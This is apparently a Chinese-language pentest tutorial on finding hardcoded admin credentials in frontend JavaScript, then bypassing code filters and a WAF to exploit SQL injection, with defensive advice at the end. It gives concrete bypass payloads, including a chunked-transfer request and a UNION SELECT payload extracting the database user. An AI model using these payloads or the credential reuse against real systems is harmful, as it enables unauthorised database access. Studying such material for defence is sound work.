通过分析前端js引发的SQL注入fuzz绕过代码层面和waf层面的双重防御
字数 1059 2025-08-06 12:20:57

通过前端JS分析实现SQL注入Fuzz绕过双重防御

1. 漏洞发现过程

1.1 前端JS审计

  • 通过浏览器开发者工具审查网页加载的JavaScript文件
  • 搜索关键词如"api"、"login"、"query"等接口相关词汇
  • 发现管理接口直接暴露在JS中,且包含硬编码凭证

1.2 弱口令利用

  • 在JS代码中发现管理员用户名和密码明文存储
  • 尝试使用发现的凭证登录系统成功
  • 凭证格式通常为:username: "admin", password: "123456"等简单组合

2. SQL注入点定位

2.1 功能点测试

  • 登录后遍历系统所有功能模块
  • 重点关注数据查询、筛选、排序等与数据库交互的功能
  • 使用Burp Suite拦截请求,观察参数传递

2.2 注入点确认

  • 在参数中尝试添加单引号(')触发SQL错误
  • 观察是否返回数据库错误信息
  • 确认存在注入的参数位置

3. Fuzz测试绕过技术

3.1 代码层面防御绕过

  • 注释绕过/*!50000select*/
  • 字符串拼接:concat(0x7e,version(),0x7e)
  • 十六进制编码:0x61646D696E代替'admin'
  • 空白符变异:%09(tab)、%0a(换行)、%0d(回车)
  • 大小写混合:SeLeCt代替select

3.2 WAF层面绕过

  • 分块传输:使用Transfer-Encoding: chunked
  • HTTP参数污染:重复参数名id=1&id=2-1
  • 非常规HTTP方法:尝试PUT、HEAD等非标准方法
  • Content-Type变异application/jsontext/xml
  • 长参数值:填充大量无用字符绕过正则检测

4. 实际绕过示例

4.1 基础注入

原始请求:id=1
检测到过滤:id=1' → 被拦截

4.2 绕过代码过滤

id=1/*!50000and*/1=1--
id=1%0aand%0a1=1--

4.3 绕过WAF

POST /query HTTP/1.1
Transfer-Encoding: chunked

7
id=1'/*
0

4.4 联合查询最终Payload

id=1%20uniOn%20/*!50000sEleCt*/%201,concat(0x7e,user(),0x7e),3%23

5. 防御建议

5.1 前端安全

  • 避免在JS中硬编码敏感信息
  • 实现合理的API访问控制
  • 使用CSP限制脚本执行

5.2 后端防御

  • 使用预编译语句(Prepared Statements)
  • 实施最小权限原则
  • 输入验证和输出编码

5.3 WAF配置

  • 定期更新规则库
  • 结合语义分析而非单纯依赖正则
  • 实施速率限制和异常检测

6. 自动化工具推荐

  • sqlmap:--tamper参数使用各种绕过脚本
  • wfuzz:HTTP参数模糊测试
  • Burp Suite Intruder:自定义payload和编码
  • OWASP ZAP:自动化扫描和手动测试结合
通过前端JS分析实现SQL注入Fuzz绕过双重防御 1. 漏洞发现过程 1.1 前端JS审计 通过浏览器开发者工具审查网页加载的JavaScript文件 搜索关键词如"api"、"login"、"query"等接口相关词汇 发现管理接口直接暴露在JS中,且包含硬编码凭证 1.2 弱口令利用 在JS代码中发现管理员用户名和密码明文存储 尝试使用发现的凭证登录系统成功 凭证格式通常为: username: "admin", password: "123456" 等简单组合 2. SQL注入点定位 2.1 功能点测试 登录后遍历系统所有功能模块 重点关注数据查询、筛选、排序等与数据库交互的功能 使用Burp Suite拦截请求,观察参数传递 2.2 注入点确认 在参数中尝试添加单引号( ' )触发SQL错误 观察是否返回数据库错误信息 确认存在注入的参数位置 3. Fuzz测试绕过技术 3.1 代码层面防御绕过 注释绕过 : /*!50000select*/ 字符串拼接: concat(0x7e,version(),0x7e) 十六进制编码: 0x61646D696E 代替 'admin' 空白符变异: %09 (tab)、 %0a (换行)、 %0d (回车) 大小写混合: SeLeCt 代替 select 3.2 WAF层面绕过 分块传输 :使用Transfer-Encoding: chunked HTTP参数污染 :重复参数名 id=1&id=2-1 非常规HTTP方法 :尝试PUT、HEAD等非标准方法 Content-Type变异 : application/json 、 text/xml 长参数值 :填充大量无用字符绕过正则检测 4. 实际绕过示例 4.1 基础注入 4.2 绕过代码过滤 4.3 绕过WAF 4.4 联合查询最终Payload 5. 防御建议 5.1 前端安全 避免在JS中硬编码敏感信息 实现合理的API访问控制 使用CSP限制脚本执行 5.2 后端防御 使用预编译语句(Prepared Statements) 实施最小权限原则 输入验证和输出编码 5.3 WAF配置 定期更新规则库 结合语义分析而非单纯依赖正则 实施速率限制和异常检测 6. 自动化工具推荐 sqlmap: --tamper 参数使用各种绕过脚本 wfuzz:HTTP参数模糊测试 Burp Suite Intruder:自定义payload和编码 OWASP ZAP:自动化扫描和手动测试结合